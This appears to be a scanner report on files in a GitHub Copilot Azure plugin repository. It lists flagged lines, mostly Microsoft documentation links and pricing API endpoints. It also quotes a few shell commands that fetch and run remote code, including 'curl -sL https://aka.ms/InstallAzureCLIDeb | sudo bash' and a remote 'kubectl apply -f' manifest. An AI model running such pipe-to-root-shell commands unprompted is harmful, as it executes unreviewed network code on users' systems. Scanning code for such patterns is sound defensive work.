| Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided | | Public IP | " - Network accessline 9
| NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided |
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/az-cli.md
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/bicep.md
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/terraform.md
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/plan-card.md
- Access to secretsline 32
[Credential-related source omitted]
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-recommender/references/web-fetch-policy.md
- Network accessline 17
## What to fetch (Step 2 — VMSS) - Network accessline 20
https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview - Network accessline 21
https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview - Network accessline 24
## What to fetch (Step 3 — VM family) - Network accessline 27
https://learn.microsoft.com/azure/virtual-machines/sizes/<family-category>/<series-name> - Network accessline 30
Examples: - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - Network accessline 31
- B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - GPU: `https://learn.microsoft.com/azure/vi - Network accessline 32
- D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - Network accessline 33
- GPU: `https://learn.microsoft.com/azure/virtual-machines/sizes/gpu-accelerated/nc-family` - Network accessline 35
For Spot, also: `https://learn.microsoft.com/azure/virtual-machine-scale-sets/use-spot`.
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-recommender/vm-recommender.md
- Network accessline 56
https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/<family-category>/<series-name> - Network accessline 59
For Spot eligibility, also fetch `https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/use-spot`. If any fetch fails, follow [web-fetch-policy.md](references/web-fetch-policy.md). Same SKUs apply to single VMs and VMSS. - Network accessline 101
- Compare reservation / savings plan pricing (`priceType eq 'Reservation'` in the API) - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates - Network accessline 102
- Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates - Network accessline 103
- For VMSS: [autoscale best practices](https://learn.microsoft.com/azure/azure-monitor/autoscale/autoscale-best-practices), [VMSS networking](https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/constraints/networking-connectivity.md
- Network accessline 8
| **Developer SKU** | Does NOT require `AzureBastionSubnet` or public IP. Deploys as shared infrastructure. Only connects to VMs in the same VNet. | | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG - Network accessline 9
| **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https:// - Network accessline 10
| **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/constraints/networking-core.md
- Network accessline 32
|-------------|------------| | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specif - Network accessline 33
| **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (se - Network accessline 34
| **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (see [Azure Bastion NSG](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/ai-ml.md
- Network accessline 11
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/micro - Network accessline 12
|----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom su - Network accessline 13
| Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom subdomain names](https://learn.microsoft.com/azure/ai-services/cognitive-servic - Network accessline 14
| ML Workspace | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.machinelearningservices/workspaces?pivots=deployment-language-bicep) | [ML Services](https://learn.microsoft.com/azure/templates/microsoft.machinelearningse - Network accessline 15
| AI Search | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.search/searchservices?pivots=deployment-language-bicep) | [Service limits](https://learn.microsoft.com/azure/search/search-limits-quotas-capacity) | [Naming ru
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/compute-apps.md
- Network accessline 15
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.we - Network accessline 16
|----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://lea - Network accessline 17
| App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://learn.microsoft.com/azure/app-service/overview) | [Naming rules](https://learn.m - Network accessline 18
| App Service Plan | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/serverfarms?pivots=deployment-language-bicep) | [Plan overview](https://learn.microsoft.com/azure/app-service/overview-hosting-plans) | [Naming rule - Network accessline 19
| Container App | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/containerapps?pivots=deployment-language-bicep) | [Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) | [Naming rules] - Network accessline 20
| Container Apps Environment | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/managedenvironments?pivots=deployment-language-bicep) | [Environments overview](https://learn.microsoft.com/azure/container-apps/environme - Network accessline 21
| Container Registry | [2025-04-01](https://learn.microsoft.com/azure/templates/microsoft.containerregistry/registries?pivots=deployment-language-bicep) | [ACR overview](https://learn.microsoft.com/azure/container-registry/container-registr - Network accessline 22
| Function App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [Functions overview](https://learn.microsoft.com/azure/azure-functions/functions-overview) | [Naming rules](ht - Network accessline 23
| Static Web App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/staticsites?pivots=deployment-language-bicep) | [Static Web Apps overview](https://learn.microsoft.com/azure/static-web-apps/overview) | [Naming rules
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/compute-infra.md
- Network accessline 13
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.co - Network accessline 14
|----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overvi - Network accessline 15
| AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overview](https://learn.microsoft.com/azure/aks/intro-kubernetes) | [Naming rules]( - Network accessline 16
| Availability Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/availabilitysets?pivots=deployment-language-bicep) | [Overview](https://learn.microsoft.com/azure/virtual-machines/availability-set-overview) | - Network accessline 17
| Managed Disk | [2025-01-02](https://learn.microsoft.com/azure/templates/microsoft.compute/disks?pivots=deployment-language-bicep) | [Managed disks overview](https://learn.microsoft.com/azure/virtual-machines/managed-disks-overview) | [Nam - Network accessline 18
| Virtual Machine | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachines?pivots=deployment-language-bicep) | [VMs overview](https://learn.microsoft.com/azure/virtual-machines/overview) | [Naming rules]( - Network accessline 19
| VM Scale Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachinescalesets?pivots=deployment-language-bicep) | [VMSS overview](https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview) |
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/data-analytics.md
- Network accessline 13
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.docu - Network accessline 14
|----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overvie - Network accessline 15
| Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overview](https://learn.microsoft.com/azure/cosmos-db/introduction) | [Naming rules] - Network accessline 16
| Data Factory | [2018-06-01](https://learn.microsoft.com/azure/templates/microsoft.datafactory/factories?pivots=deployment-language-bicep) | [ADF overview](https://learn.microsoft.com/azure/data-factory/introduction) | [Naming rules](https - Network accessline 17
| Redis Cache | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.cache/redis?pivots=deployment-language-bicep) | [Redis overview](https://learn.microsoft.com/azure/azure-cache-for-redis/cache-overview) | [Naming rules](htt - Network accessline 18
| Storage Account | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.storage/storageaccounts?pivots=deployment-language-bicep) | [Storage overview](https://learn.microsoft.com/azure/storage/common/storage-account-overview) - Network accessline 19
| Synapse Workspace | [2021-06-01](https://learn.microsoft.com/azure/templates/microsoft.synapse/workspaces?pivots=deployment-language-bicep) | [Synapse overview](https://learn.microsoft.com/azure/synapse-analytics/overview-what-is) | [Nami
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/data-relational.md
- Network accessline 12
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql - Network accessline 13
|----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://lea - Network accessline 14
| SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-overview) | [Nami - Network accessline 15
| SQL Database | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers/databases?pivots=deployment-language-bicep) | [SQL Database overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-ove - Network accessline 16
| MySQL Flexible Server | [2023-12-30](https://learn.microsoft.com/azure/templates/microsoft.dbformysql/flexibleservers?pivots=deployment-language-bicep) | [MySQL overview](https://learn.microsoft.com/azure/mysql/flexible-server/overview) | - Network accessline 17
| PostgreSQL Flexible Server | [2024-08-01](https://learn.microsoft.com/azure/templates/microsoft.dbforpostgresql/flexibleservers?pivots=deployment-language-bicep) | [PostgreSQL overview](https://learn.microsoft.com/azure/postgresql/flexibl
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/messaging.md
- Network accessline 11
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microso - Network accessline 12
|----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview]( - Network accessline 13
| Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](https://learn.microsoft.com/azure/event-grid/overview) | [Naming rules](https - Network accessline 14
| Event Hub | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.eventhub/namespaces?pivots=deployment-language-bicep) | [Event Hubs overview](https://learn.microsoft.com/azure/event-hubs/event-hubs-about) | [Naming rules](h - Network accessline 15
| Service Bus | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.servicebus/namespaces?pivots=deployment-language-bicep) | [Service Bus overview](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-messagin
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/monitoring.md
- Network accessline 10
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/mic - Network accessline 11
|----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights o - Network accessline 12
| Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights overview](https://learn.microsoft.com/azure/azure-monitor/app/app-insights-ove - Network accessline 13
| Log Analytics | [2025-02-01](https://learn.microsoft.com/azure/templates/microsoft.operationalinsights/workspaces?pivots=deployment-language-bicep) | [Log Analytics overview](https://learn.microsoft.com/azure/azure-monitor/logs/log-analyt
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-connectivity.md
- Network accessline 14
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft. - Network accessline 15
|----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](ht - Network accessline 16
| Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](https://learn.microsoft.com/azure/bastion/bastion-overview) | [Naming rules](ht - Network accessline 17
| Azure Firewall | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/azurefirewalls?pivots=deployment-language-bicep) | [Firewall overview](https://learn.microsoft.com/azure/firewall/overview) | [Naming rules](https - Network accessline 18
| DNS Zone | [2018-05-01](https://learn.microsoft.com/azure/templates/microsoft.network/dnszones?pivots=deployment-language-bicep) | [Azure DNS overview](https://learn.microsoft.com/azure/dns/dns-overview) | [Naming rules](https://learn.mic - Network accessline 19
| VPN Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworkgateways?pivots=deployment-language-bicep) | [VPN Gateway overview](https://learn.microsoft.com/azure/vpn-gateway/vpn-gateway-about-vpn - Network accessline 20
| Private DNS Zone | [2024-06-01](https://learn.microsoft.com/azure/templates/microsoft.network/privatednszones?pivots=deployment-language-bicep) | [Private DNS overview](https://learn.microsoft.com/azure/dns/private-dns-overview) | [Naming - Network accessline 21
| Private Endpoint | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/privateendpoints?pivots=deployment-language-bicep) | [PE overview](https://learn.microsoft.com/azure/private-link/private-endpoint-overview) | [
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-core.md
- Network accessline 15
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsof - Network accessline 16
|----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview]( - Network accessline 17
| Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](https://learn.microsoft.com/azure/virtual-network/virtual-networks-overview) - Network accessline 18
| Subnet | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks/subnets?pivots=deployment-language-bicep) | [Subnets](https://learn.microsoft.com/azure/virtual-network/virtual-network-manage-subnet) | [ - Network accessline 19
| NSG | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networksecuritygroups?pivots=deployment-language-bicep) | [NSG overview](https://learn.microsoft.com/azure/virtual-network/network-security-groups-overview) - Network accessline 20
| Route Table | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/routetables?pivots=deployment-language-bicep) | [Traffic routing](https://learn.microsoft.com/azure/virtual-network/virtual-networks-udr-overview) | - Network accessline 21
| Network Interface | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networkinterfaces?pivots=deployment-language-bicep) | [NIC overview](https://learn.microsoft.com/azure/virtual-network/virtual-network-network- - Network accessline 22
| Public IP | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/publicipaddresses?pivots=deployment-language-bicep) | [Public IP overview](https://learn.microsoft.com/azure/virtual-network/ip-services/public-ip-addr - Network accessline 23
| NAT Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/natgateways?pivots=deployment-language-bicep) | [NAT Gateway overview](https://learn.microsoft.com/azure/nat-gateway/nat-overview) | [Naming rules](h
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-traffic.md
- Network accessline 12
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft - Network accessline 13
|----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](htt - Network accessline 14
| API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](https://learn.microsoft.com/azure/api-management/api-management-key-concepts) | - Network accessline 15
| Application Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/applicationgateways?pivots=deployment-language-bicep) | [App Gateway overview](https://learn.microsoft.com/azure/application-gateway/overview - Network accessline 16
| Front Door | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cdn/profiles?pivots=deployment-language-bicep) | [Front Door overview](https://learn.microsoft.com/azure/frontdoor/front-door-overview) | [Naming rules](https - Network accessline 17
| Load Balancer | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/loadbalancers?pivots=deployment-language-bicep) | [LB overview](https://learn.microsoft.com/azure/load-balancer/load-balancer-overview) | [Naming r
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/security.md
- Network accessline 10
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyv - Network accessline 11
|----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://l - Network accessline 12
| Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://learn.microsoft.com/azure/key-vault/general/overview) | [Naming rules](https:/ - Network accessline 13
| Managed Identity | [2024-11-30](https://learn.microsoft.com/azure/templates/microsoft.managedidentity/userassignedidentities?pivots=deployment-language-bicep) | [Managed identities](https://learn.microsoft.com/entra/identity/managed-ident
harness/github-copilot/plugins/azure-cloud-development/skills/azure-infrastructure/scripts/bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 154
echo "Install missing tools:" echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 155
echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" echo " kubectl: az aks install-cli" - Dangerous shell operationline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 309
CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name) ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1) KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 311
KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 364
log_step "Installing ArgoCD..." kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml - Network accessline 365
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
harness/github-copilot/plugins/azure-cloud-development/skills/azure-infrastructure/scripts/platform-bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 536
echo "Access URLs:" echo " ArgoCD: https://${argocd_url}" - Network accessline 537
echo " ArgoCD: https://${argocd_url}" - Network accessline 538
echo " Backstage: https://${backstage_url}" - Network accessline 539
echo " Grafana: https://${grafana_url}" - Dangerous shell operationline 591
rm -f "$CHECKPOINT_FILE"
harness/github-copilot/plugins/azure-cloud-development/skills/azure-pricing/SKILL.md
- Network accessline 35
GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 38
Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r - Network accessline 107
| URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 108
| --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi - Network accessline 109
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 110
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. | - Network accessline 190
- [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview) - Network accessline 191
- [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 192
- [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
harness/github-copilot/plugins/azure-cloud-development/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md
- Network accessline 3
> Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 4
> Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/) - Network accessline 5
> Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995) - Network accessline 133
- [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 134
- [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing) - Network accessline 135
- [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)
harness/github-copilot/plugins/azure-cloud-development/skills/import-infrastructure-as-code/SKILL.md
- Network accessline 67
| Source | URL or pattern | | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | - Network accessline 68
| --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | | Terraform Pattern Modules | `https://raw.githubusercon - Network accessline 69
| Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | - Network accessline 70
| Terraform Pattern Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformPatternModules.csv` | - Network accessline 71
| Terraform Utility Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformUtilityModules.csv` | - Network accessline 72
| Registry namespace | `https://registry.terraform.io/namespaces/Azure` | - Network accessline 73
| Registry module | `https://registry.terraform.io/modules/Azure/<module>/azurerm/latest` | - Network accessline 74
| GitHub module | `https://github.com/Azure/terraform-azurerm-avm-res-{service}-{resource}` | - Network accessline 75
| README | `https://raw.githubusercontent.com/Azure/terraform-azurerm-avm-res-{service}-{resource}/refs/heads/main/README.md` | - Network accessline 76
| AVM index | `https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes` | - Network accessline 219
- [Azure Verified Modules index (Terraform)](https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes) - Network accessline 220
- [Terraform AVM Registry namespace](https://registry.terraform.io/namespaces/Azure)
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-graph/references/EXAMPLES.md
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-graph/references/KUSTO_EXPLORER_LAUNCH.md
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql-graph/SKILL.md
- Network accessline 49
- **Cluster**: `https://kc7001.eastus.kusto.windows.net` - Network accessline 136
Use icons from `https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/`: - Network accessline 207
let auth_mapping = '{"node_types":[{"type":"SrcIp","id":"SrcIp","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic).svg"}, - Network accessline 224
let mail_mapping = '{"node_types":[{"type":"EmailMessage","id":"Message","key":"Subject","props":["EnvTime","Subject","Verdict"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Media-Fil - Network accessline 239
let suspicious_domain_mapping = '{"node_types":[{"type":"IP","id":"IP","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic) - Network accessline 256
let proc_mapping = '{"node_types":[{"type":"Process","id":"Proc","key":"ProcessName","props":["ProcessName","ProcessCommandLine","ProcessHash"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql-graph/references/EXAMPLES.md
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql-graph/references/KUSTO_EXPLORER_LAUNCH.md
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql/SKILL.md
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql/references/EXAMPLES.md
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql/references/KUSTO_EXPLORER_LAUNCH.md
harness/github-copilot/plugins/azure-data-development/skills/azure-storage/SKILL.md
- Network accessline 89
- Blob storage patterns and lifecycle -> [Blob Storage documentation](https://learn.microsoft.com/azure/storage/blobs/storage-blobs-overview) - Network accessline 90
- File shares and Azure File Sync -> [Azure Files documentation](https://learn.microsoft.com/azure/storage/files/storage-files-introduction) - Network accessline 91
- Queue patterns and poison handling -> [Queue Storage documentation](https://learn.microsoft.com/azure/storage/queues/storage-queues-introduction)
harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/sdk-usage.md
- Network accessline 36
